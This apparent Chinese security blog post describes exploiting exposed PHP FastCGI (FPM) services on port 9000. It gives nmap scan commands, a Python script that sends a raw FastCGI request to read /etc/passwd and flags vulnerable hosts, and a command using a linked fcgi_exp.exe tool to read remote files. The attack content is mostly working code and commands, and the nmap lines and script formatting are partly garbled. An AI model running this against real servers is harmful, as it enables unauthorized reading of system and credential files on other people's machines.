FPM的远程利用

时间:2021-02-13 06:24:26

看了lijiejie的博客,和乌云的PHPFastCGI的这篇文章,感觉在实际的业务中经常能遇到,所以在此记录下来:

原文:http://www.lijiejie.com/fastcgi-read-file-vulnerability-scan-py/

http://zone.wooyun.org/content/1060

php的fastcgi目前通常叫做FPM。他默认监听的端口是9000端口。

可以用nmap来进行扫描一下:

nmap -sV -p  --open x.x.x.x/

检查出来的是存在9000端口开放的主机

接着用nmap来指纹识别一下:

nmap -sV -p  --open .xxx.xxx./ 

结果如下:

[root@test:~/work/fcgi]#nmap -sV -p  --open .xxx.xxx./ 

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT
Nmap scan report for abc.net (.xxx.xxx.)
Host is up (.0095s latency).
PORT STATE SERVICE VERSION
/tcp open ssh OpenSSH .3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel Nmap scan report for abc.com (.xxx.xxx.)
Host is up (.0096s latency).
PORT STATE SERVICE VERSION
/tcp open tcpwrapped Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: IP addresses ( hosts up) scanned in 7.70 seconds

如果是对于内网的话可以用lijiejie写的py:

 import socket
import sys def test_fastcgi(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
sock.connect((ip, 9000))
data = """
01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53
54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52
56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50
2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49
50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f
70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
"""
data_s = ''
for _ in data.split():
data_s += chr(int(_,16))
sock.send(data_s)
try:
ret = sock.recv(1024)
if ret.find(':root:') > 0:
print ret
print '%s is vulnerable!' % ip
return True
else:
return False
except Exception, e:
pass sock.close() if __name__ == '__main__':
if len(sys.argv) == 1:
print sys.argv[0], '[ip]'
else:
test_fastcgi(sys.argv[1])

然后就可以用:

fcgi_exp.exe read XXX.XXX.XXX.XXX 9000 /etc/passwd

EXP:http://www.lijiejie.com/wp-content/uploads/2015/06/fcgi_exp.zip